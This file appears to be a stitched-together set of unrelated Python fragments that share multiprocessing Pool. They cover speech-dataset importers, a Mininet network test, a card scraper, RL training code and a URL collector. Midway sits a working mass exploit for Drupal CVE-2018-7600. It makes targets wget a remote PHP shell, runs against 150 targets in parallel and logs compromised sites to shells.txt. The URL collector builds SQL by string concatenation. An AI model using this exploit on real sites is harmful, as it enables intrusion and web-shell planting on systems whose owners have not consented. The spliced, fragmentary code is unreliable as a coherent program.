path + 'Analysis_Scripts/ephys/GC_RZ.py', path + filename,
'useRecommended', 'wfit', 'singleRuns', 'rate',
'smooth:[2.0]', 'tt:[' + TTname + ']', 'noSpeck', 'noShow',
'gain_normalised'
])
threads = 20 # number of cores that should be used
pool = Pool(threads) # number of concurrent commands at a time
for i, returncode in enumerate(pool.imap(partial(call), commands)):
print 'ran ', i, 'of ', len(commands)
if returncode != 0:
print("%d command failed: %d" % (i, returncode))
def _maybe_convert_sets(target_dir, extracted_data):
extracted_dir = path.join(target_dir, extracted_data)
# override existing CSV with normalized one
target_csv_template = os.path.join(
target_dir, ARCHIVE_DIR_NAME,
ARCHIVE_NAME.replace('.tar.gz', '_{}.csv'))
if os.path.isfile(target_csv_template):
return
wav_root_dir = os.path.join(extracted_dir)
all_files = [
'transcripts/train/yaounde/fn_text.txt',
'transcripts/train/ca16_conv/transcripts.txt',
'transcripts/train/ca16_read/conditioned.txt',
'transcripts/dev/niger_west_african_fr/transcripts.txt',
'speech/dev/niger_west_african_fr/niger_wav_file_name_transcript.tsv',
'transcripts/devtest/ca16_read/conditioned.txt',
'transcripts/test/ca16/prompts.txt',
]
transcripts = {}
for tr in all_files:
with open(os.path.join(target_dir, ARCHIVE_DIR_NAME, tr),
'r') as tr_source:
for line in tr_source.readlines():
line = line.strip()
if '.tsv' in tr:
sep = ' '
else:
sep = ' '
audio = os.path.basename(line.split(sep)[0])
if not ('.wav' in audio):
if '.tdf' in audio:
audio = audio.replace('.tdf', '.wav')
else:
audio += '.wav'
transcript = ' '.join(line.split(sep)[1:])
transcripts[audio] = transcript
# Get audiofile path and transcript for each sentence in tsv
samples = []
glob_dir = os.path.join(wav_root_dir, '**/*.wav')
for record in glob(glob_dir, recursive=True):
record_file = os.path.basename(record)
if record_file in transcripts:
samples.append((record, transcripts[record_file]))
# Keep track of how many samples are good vs. problematic
counter = {
'all': 0,
'failed': 0,
'invalid_label': 0,
'too_short': 0,
'too_long': 0,
'total_time': 0
}
lock = RLock()
num_samples = len(samples)
rows = []
def one_sample(sample):
""" Take a audio file, and optionally convert it to 16kHz WAV """
wav_filename = sample[0]
file_size = -1
frames = 0
if path.exists(wav_filename):
file_size = path.getsize(wav_filename)
frames = int(
subprocess.check_output(['soxi', '-s', wav_filename],
stderr=subprocess.STDOUT))
label = label_filter(sample[1])
with lock:
if file_size == -1:
# Excluding samples that failed upon conversion
counter['failed'] += 1
elif label is None:
# Excluding samples that failed on label validation
counter['invalid_label'] += 1
elif int(frames / SAMPLE_RATE * 1000 / 15 / 2) < len(str(label)):
# Excluding samples that are too short to fit the transcript
counter['too_short'] += 1
elif frames / SAMPLE_RATE > MAX_SECS:
# Excluding very long samples to keep a reasonable batch-size
counter['too_long'] += 1
else:
# This one is good - keep it for the target CSV
rows.append((wav_filename, file_size, label))
counter['all'] += 1
counter['total_time'] += frames
print("Importing WAV files...")
pool = Pool(cpu_count())
bar = progressbar.ProgressBar(max_value=num_samples, widgets=SIMPLE_BAR)
for i, _ in enumerate(pool.imap_unordered(one_sample, samples), start=1):
bar.update(i)
bar.update(num_samples)
pool.close()
pool.join()
with open(target_csv_template.format('train'),
'w') as train_csv_file: # 80%
with open(target_csv_template.format('dev'),
'w') as dev_csv_file: # 10%
with open(target_csv_template.format('test'),
'w') as test_csv_file: # 10%
train_writer = csv.DictWriter(train_csv_file,
fieldnames=FIELDNAMES)
train_writer.writeheader()
dev_writer = csv.DictWriter(dev_csv_file,
fieldnames=FIELDNAMES)
dev_writer.writeheader()
test_writer = csv.DictWriter(test_csv_file,
fieldnames=FIELDNAMES)
test_writer.writeheader()
for i, item in enumerate(rows):
transcript = validate_label(item[2])
if not transcript:
continue
wav_filename = item[0]
i_mod = i % 10
if i_mod == 0:
writer = test_writer
elif i_mod == 1:
writer = dev_writer
else:
writer = train_writer
writer.writerow(
dict(
wav_filename=wav_filename,
wav_filesize=os.path.getsize(wav_filename),
transcript=transcript,
))
print('Imported %d samples.' %
(counter['all'] - counter['failed'] - counter['too_short'] -
counter['too_long']))
if counter['failed'] > 0:
print('Skipped %d samples that failed upon conversion.' %
counter['failed'])
if counter['invalid_label'] > 0:
print('Skipped %d samples that failed on transcript validation.' %
counter['invalid_label'])
if counter['too_short'] > 0:
print(
'Skipped %d samples that were too short to match the transcript.' %
counter['too_short'])
if counter['too_long'] > 0:
print('Skipped %d samples that were longer than %d seconds.' %
(counter['too_long'], MAX_SECS))
print('Final amount of imported audio: %s.' %
secs_to_hours(counter['total_time'] / SAMPLE_RATE))
def Mptcp():
net = Mininet(cleanup=True)
#add 5 hosts with mininet default IP 10.0.0.1 to 10.0.0.5 to the network topology
h1 = net.addHost('h1')
h2 = net.addHost('h2')
h3 = net.addHost('h3')
h4 = net.addHost('h4')
h5 = net.addHost('h5')
#add 1 switch to the topology
s3 = net.addSwitch('s3')
c0 = net.addController('c0')
#connect 5 hosts through a switch
net.addLink(h1, s3, cls=TCLink, bw=1000)
net.addLink(h2, s3, cls=TCLink, bw=1000)
net.addLink(h3, s3, cls=TCLink, bw=1000)
net.addLink(h4, s3, cls=TCLink, bw=1000)
net.addLink(h5, s3, cls=TCLink, bw=1000)
net.addLink(h1, s3, cls=TCLink, bw=1000)
net.addLink(h2, s3, cls=TCLink, bw=1000)
net.addLink(h3, s3, cls=TCLink, bw=1000)
net.addLink(h4, s3, cls=TCLink, bw=1000)
net.addLink(h5, s3, cls=TCLink, bw=1000)
#Assign IP,prefix and interface name to 5 hosts second interfaces
h1.setIP('192.168.1.1', prefixLen=24, intf='h1-eth1')
h2.setIP('192.168.1.2', prefixLen=24, intf='h2-eth1')
h3.setIP('192.168.1.3', prefixLen=24, intf='h3-eth1')
h4.setIP('192.168.1.4', prefixLen=24, intf='h4-eth1')
h5.setIP('192.168.1.5', prefixLen=24, intf='h5-eth1')
net.start()
print "Dumping host connections"
dumpNodeConnections(net.hosts)
print "Testing network connectivity"
net.pingAll()
print "Testing bandwidth between h1 and h4"
#CLI(net)
time.sleep(1) # wait for net to startup
print "\n", " " * 5, "#" * 40, "\n", " " * 10, "STARTING\n"
def under_testing():
time.sleep(test_duration / 12)
if cut_a_link:
print "\n", 'cutting link...',
print h1.intf('h1-eth1').ifconfig('down'),
print h2.intf('h2-eth1').ifconfig('down'),
print h3.intf('h3-eth1').ifconfig('down'),
print h4.intf('h4-eth1').ifconfig('down'),
print h5.intf('h5-eth1').ifconfig('down'),
print 'link down\n'
time.sleep(test_duration / 12)
if link_down:
set_mptcp_enabled(True)
under_testing()
#test connectivity of h1,h3,h4,h5(client) to the h2(server) from both the interfaces.
h2_out = h1.cmdPrint('ping -c 1 ' + h2.IP('h2-eth0') + ' ')
h2_out2 = h1.cmdPrint('ping -c 1 ' + h2.IP('h2-eth1') + ' ')
print "ping test output: %s\n" % h2_out
print "ping test output: %s\n" % h2_out2
h2_out = h3.cmdPrint('ping -c 1 ' + h2.IP('h2-eth0') + ' ')
h2_out2 = h3.cmdPrint('ping -c 1 ' + h2.IP('h2-eth1') + ' ')
print "ping test output: %s\n" % h2_out
print "ping test output: %s\n" % h2_out2
h2_out = h4.cmdPrint('ping -c 1 ' + h2.IP('h2-eth0') + ' ')
h2_out2 = h4.cmdPrint('ping -c 1 ' + h2.IP('h2-eth1') + ' ')
print "ping test output: %s\n" % h2_out
print "ping test output: %s\n" % h2_out2
h2_out = h5.cmdPrint('ping -c 1 ' + h2.IP('h2-eth0') + ' ')
h2_out2 = h5.cmdPrint('ping -c 1 ' + h2.IP('h2-eth1') + ' ')
print "ping test output: %s\n" % h2_out
print "ping test output: %s\n" % h2_out2
#give time to print ping output
time.sleep(3)
print 'starting iperf server at: ', h2.IP()
h2.cmd('iperf -s > iperf_mptcp_server_log.txt & ')
#create pool of 5 processes to send data from 4-clients to server simultaniously
p = Pool(5)
i = 0
lst = [[
h,
h2,
] for h in [h1, h3, h4, h5]]
main_list = []
for l in lst:
i += 1
l.append(i)
t = tuple(l)
main_list.append(t)
print main_list
print p.map(wrap_fn, main_list)
h2.cmd('kill -9 %while')
time.sleep(test_duration / 12)
CLI(net)
net.stop()
os.system("sudo mn -c")
| / | Durpal CVE 2018 7600 RCE | |
|___| |___|
(_____)---------------------------(_____)
"""
for line in logo.split("\n"):
sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
time.sleep(0.05)
print_logo()
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'wget https://raw.githubusercontent.com/dr-iman/SpiderProject/master/lib/exploits/web-app/wordpress/ads-manager/payload.php'}
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'}
def run(u):
try:
url = u + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
r = requests.post(url, data=payload, verify=False, headers=headers)
if 'Select Your File :' in requests.get(u+'/payload.php', verify=False, headers=headers).text:
print (u, '==> RCE')
with open('shells.txt', mode='a') as d:
d.write(u + '/payload.php\n')
else:
print(u, "==> Not Vuln")
except:
pass
mp = Pool(150)
mp.map(run, target)
mp.close()
mp.join()
def _maybe_convert_set(audio_dir, input_tsv):
output_csv = path.join(audio_dir,
os.path.split(input_tsv)[-1].replace('tsv', 'csv'))
print("Saving new DeepSpeech-formatted CSV file to: ", output_csv)
# Get audiofile path and transcript for each sentence in tsv
samples = []
with open(input_tsv) as input_tsv_file:
reader = csv.DictReader(input_tsv_file, delimiter='\t')
for row in reader:
samples.append((row['path'], row['sentence']))
# Keep track of how many samples are good vs. problematic
counter = {
'all': 0,
'failed': 0,
'invalid_label': 0,
'too_short': 0,
'too_long': 0
}
lock = RLock()
num_samples = len(samples)
rows = []
def one_sample(sample):
""" Take a audio file, and optionally convert it to 16kHz WAV """
mp3_filename = path.join(audio_dir, sample[0])
if not path.splitext(mp3_filename.lower())[1] == '.mp3':
mp3_filename += ".mp3"
# Storing wav files next to the mp3 ones - just with a different suffix
wav_filename = path.splitext(mp3_filename)[0] + ".wav"
_maybe_convert_wav(mp3_filename, wav_filename)
file_size = -1
if path.exists(wav_filename):
file_size = path.getsize(wav_filename)
frames = int(
subprocess.check_output(['soxi', '-s', wav_filename],
stderr=subprocess.STDOUT))
label = validate_label(sample[1])
with lock:
if file_size == -1:
# Excluding samples that failed upon conversion
counter['failed'] += 1
elif label is None:
# Excluding samples that failed on label validation
counter['invalid_label'] += 1
elif int(frames / SAMPLE_RATE * 1000 / 10 / 2) < len(str(label)):
# Excluding samples that are too short to fit the transcript
counter['too_short'] += 1
elif frames / SAMPLE_RATE > MAX_SECS:
# Excluding very long samples to keep a reasonable batch-size
counter['too_long'] += 1
else:
# This one is good - keep it for the target CSV
rows.append((wav_filename, file_size, label))
counter['all'] += 1
print("Importing mp3 files...")
pool = Pool(cpu_count())
bar = progressbar.ProgressBar(max_value=num_samples, widgets=SIMPLE_BAR)
for i, _ in enumerate(pool.imap_unordered(one_sample, samples), start=1):
bar.update(i)
bar.update(num_samples)
pool.close()
pool.join()
with open(output_csv, 'w') as output_csv_file:
print('Writing CSV file for DeepSpeech.py as: ', output_csv)
writer = csv.DictWriter(output_csv_file, fieldnames=FIELDNAMES)
writer.writeheader()
bar = progressbar.ProgressBar(max_value=len(rows), widgets=SIMPLE_BAR)
for filename, file_size, transcript in bar(rows):
writer.writerow({
'wav_filename': filename,
'wav_filesize': file_size,
'transcript': transcript
})
print('Imported %d samples.' %
(counter['all'] - counter['failed'] - counter['too_short'] -
counter['too_long']))
if counter['failed'] > 0:
print('Skipped %d samples that failed upon conversion.' %
counter['failed'])
if counter['invalid_label'] > 0:
print('Skipped %d samples that failed on transcript validation.' %
counter['invalid_label'])
if counter['too_short'] > 0:
print(
'Skipped %d samples that were too short to match the transcript.' %
counter['too_short'])
if counter['too_long'] > 0:
print('Skipped %d samples that were longer than %d seconds.' %
(counter['too_long'], MAX_SECS))
def loadSets(allcards={}, sets=setids.keys()):
log.debug("loadSets() %s cards %s sets", len(allcards), len(sets))
# grp by set
setcarddata = {}
for _, card in allcards.items():
if card['set'] not in setcarddata:
setcarddata[card['set']] = []
setcarddata[card['set']].append(card)
resultCards = {}
if not sets:
return resultCards
def getsetit(name):
for id, set in cc.sets.items():
if set["name"] == name:
return id
return "00"
def update(data):
for name, card in data.items():
if name not in resultCards or getsetit(card["set"]) > getsetit(
resultCards[name]["set"]):
resultCards[name] = card
def doSet(setid):
with requests.Session() as session:
setname = cc.sets[setid]['name']
filename = "data/{} {}.json".format(setid, setname)
if os.path.isfile(filename):
log.debug(
"loadSets() using found '%s' file instead of internet",
filename)
with open(filename, 'r', encoding='utf8') as f:
update(json.load(f))
else:
log.debug("loadSets() getting set from internet %s", setname)
currentSet = {}
for card in setcarddata.get(setname, []):
name = 'Travelling Healer' if card[
'name'] == 'Traveling Healer' else card['name']
try:
hpid, image = getHearthpwnIdAndUrl(
name, setname, card['type'],
cc.sets[setid].get('duels'), session)
card['cdn'] = image
card['hpwn'] = hpid
except Exception as e:
try:
urlName = getHTDId(name)
url = 'https://www.hearthstonetopdecks.com/cards/{}/'.format(
urlName)
_, cardHTD = parseHTD(url, session)
card['cdn'] = cardHTD['cdn']
card['hpwn'] = 12288
except Exception as e2:
log.exception("doSet() card %s also not at htd %s",
card, e)
if card['collectible']:
raise e2
log.exception("doSet() skipping card for error %s",
e)
continue
card['head'] = getHTDId(name)
if card['name'] in currentSet:
log.debug("loadSets() found '%s' again", card['name'])
else:
currentSet[card['name']] = card
print('.', end='')
saveCardsAsJson(filename, currentSet)
resultCards.update(currentSet)
update(currentSet)
with Pool(4) as p:
p.map(doSet, sets)
return resultCards
def _maybe_convert_set(extracted_dir, source_csv, target_csv):
print()
if path.exists(target_csv):
print('Found CSV file "%s" - not importing "%s".' %
(target_csv, source_csv))
return
print('No CSV file "%s" - importing "%s"...' % (target_csv, source_csv))
samples = []
with open(source_csv) as source_csv_file:
reader = csv.DictReader(source_csv_file)
for row in reader:
samples.append((row['filename'], row['text']))
# Mutable counters for the concurrent embedded routine
counter = {'all': 0, 'too_short': 0, 'too_long': 0}
lock = RLock()
num_samples = len(samples)
rows = []
def one_sample(sample):
mp3_filename = path.join(*(sample[0].split('/')))
mp3_filename = path.join(extracted_dir, mp3_filename)
# Storing wav files next to the mp3 ones - just with a different suffix
wav_filename = path.splitext(mp3_filename)[0] + ".wav"
_maybe_convert_wav(mp3_filename, wav_filename)
frames = int(
subprocess.check_output(['soxi', '-s', wav_filename],
stderr=subprocess.STDOUT))
file_size = path.getsize(wav_filename)
with lock:
if int(frames / SAMPLE_RATE * 1000 / 10 / 2) < len(str(sample[1])):
# Excluding samples that are too short to fit the transcript
counter['too_short'] += 1
elif frames / SAMPLE_RATE > MAX_SECS:
# Excluding very long samples to keep a reasonable batch-size
counter['too_long'] += 1
else:
# This one is good - keep it for the target CSV
rows.append((wav_filename, file_size, sample[1]))
counter['all'] += 1
print('Importing mp3 files...')
pool = Pool(cpu_count())
bar = progressbar.ProgressBar(maxval=num_samples, widgets=SIMPLE_BAR)
for i, _ in enumerate(pool.imap_unordered(one_sample, samples), start=1):
bar.update(i)
bar.update(num_samples)
pool.close()
pool.join()
print('Writing "%s"...' % target_csv)
with open(target_csv, 'w') as target_csv_file:
writer = csv.DictWriter(target_csv_file, fieldnames=FIELDNAMES)
writer.writeheader()
bar = progressbar.ProgressBar(maxval=len(rows), widgets=SIMPLE_BAR)
for filename, file_size, transcript in bar(rows):
writer.writerow({
'wav_filename': filename,
'wav_filesize': file_size,
'transcript': transcript
})
print('Imported %d samples.' %
(counter['all'] - counter['too_short'] - counter['too_long']))
if counter['too_short'] > 0:
print(
'Skipped %d samples that were too short to match the transcript.' %
counter['too_short'])
if counter['too_long'] > 0:
print('Skipped %d samples that were longer than %d seconds.' %
(counter['too_long'], MAX_SECS))
def fit(self,
total_steps,
max_checkpoints_to_keep=5,
checkpoint_interval=600,
restore=False):
"""Train the policy.
Parameters
----------
total_steps: int
the total number of time steps to perform on the environment, across all rollouts
on all threads
max_checkpoints_to_keep: int
the maximum number of checkpoint files to keep. When this number is reached, older
files are deleted.
checkpoint_interval: float
the time interval at which to save checkpoints, measured in seconds
restore: bool
if True, restore the model from the most recent checkpoint and continue training
from there. If False, retrain the model from scratch.
"""
with self._graph._get_tf("Graph").as_default():
step_count = 0
workers = []
threads = []
for i in range(self.optimization_rollouts):
workers.append(_Worker(self, i, (self._env if i==0
else copy.deepcopy(self._env))))
self._session.run(tf.global_variables_initializer())
if restore:
self.restore()
pool = Pool() if len(workers) > 1 else None
variables = tf.get_collection(
tf.GraphKeys.GLOBAL_VARIABLES, scope='global')
saver = tf.train.Saver(variables, max_to_keep=max_checkpoints_to_keep)
saver_b = tf.train.Saver(variables, max_to_keep=max_checkpoints_to_keep)
checkpoint_index = 0
checkpoint_time = time.time()
while step_count < total_steps:
# Have the worker threads generate the rollouts for this iteration.
rollouts = []
if len(workers) > 1:
pool.map(lambda x: rollouts.extend(x.run()), workers)
else:
rollouts.extend(workers[0].run())
# Perform optimization.
for epoch in range(self.optimization_epochs):
if self.batch_size == 0:
batches = rollouts
else:
batches = self._iter_batches(rollouts)
for batch in batches:
initial_rnn_states, state_arrays, discounted_rewards, actions_matrix, action_prob, advantages = batch
# Build the feed dict and run the optimizer.
feed_dict = {}
for placeholder, value in zip(self._graph.rnn_initial_states,
initial_rnn_states):
feed_dict[placeholder] = value
for f, s in zip(self._features, state_arrays):
feed_dict[f.out_tensor] = s
feed_dict[self._rewards.out_tensor] = discounted_rewards
feed_dict[self._actions.out_tensor] = actions_matrix
feed_dict[self._advantages.out_tensor] = advantages
feed_dict[self._old_action_prob.out_tensor] = action_prob
feed_dict[self._graph.get_global_step()] = step_count
feed_dict[self._graph._training_placeholder] = 1.0
_, lcs = self._session.run([self._train_op, self._loss_components],
feed_dict=feed_dict)
for callback in self.callbacks:
callback.on_training_batch(lcs, step_count)
save_as_best = False
for (initial_rnn_states, state_arrays, discounted_rewards,
actions_matrix, action_prob, advantages,
rewards, durations, actions) in rollouts:
for callback in self.callbacks:
save_as_best = save_as_best or callback.on_rollout({
'state_arrays': state_arrays,
'discounted_rewards': discounted_rewards,
'actions_matrix': actions_matrix, 'action_prob': action_prob,
'advantages': advantages, 'rewards': rewards,
'durations': durations, 'actions': actions}, step_count)
# Update the number of steps taken so far and perform checkpointing.
new_steps = sum(len(r[3]) for r in rollouts)
if self.use_hindsight:
new_steps /= 2
step_count += new_steps
if step_count >= total_steps or time.time(
) >= checkpoint_time + checkpoint_interval:
saver.save(
self._session,
self._graph.save_file,
global_step=checkpoint_index)
checkpoint_index += 1
checkpoint_time = time.time()
if save_as_best:
saver_b.save(
self._session,
self._graph.save_file + '_b',
global_step=step_count,
latest_filename='checkpoint_b')
import requests, json, time
from multiprocessing.dummy import Pool
pool = Pool(100)
transactions0 = []
transactions1 = []
transactions2 = []
transactions3 = []
transactions4 = []
nodeid = {
'id0': 0,
'id1': 1,
'id2': 2,
'id3': 3,
'id4': 4
}
node = {
'0': 'http://127.0.0.1:5000',
'1': 'http://127.0.0.1:5001',
'2': 'http://127.0.0.1:5002',
'3': 'http://127.0.0.1:5003',
'4': 'http://127.0.0.1:5004'
}
#!/usr/bin/env python
import random
from multiprocessing.dummy import Pool # <1>
POOL_SIZE = 32 # <2>
with open('../DATA/words.txt') as words_in:
WORDS = [w.strip() for w in words_in] # <3>
random.shuffle(WORDS) # <4>
def my_task(word): # <5>
return word.upper()
tpool = Pool(POOL_SIZE) # <6>
WORD_LIST = tpool.map(my_task, WORDS) # <7>
print(WORD_LIST[:20]) # <8>
print("Processed {} words.".format(len(WORD_LIST)))
myparser.feed(fdata1)
# 查询收集记忆库
sql1 = 'select url from collect_memory'
col_memory = mysqlexe(sql1)
for line2 in col_memory:
content1.append(line2[0])
# 去重复
for surl in myparser.mvalue:
if surl not in content1:
checkurls.append(surl)
content1.append(surl)
# 执行检查——去死链接
print 'checking!! please wait...'
mpool = Pool(8)
result = mpool.map(clink, checkurls)
mpool.close()
mpool.join()
for line3 in result:
if line3 != None:
try:
sql2 = 'insert into ' + select_table + '(url) ' + ' select ' + ' \'' + str(
line3) + '\''
sql3 = 'insert into collect_memory(url) select ' + ' \'' + str(
line3) + '\''
mysqlexe(sql2)
mysqlexe(sql3)
print 'collect:' + line3
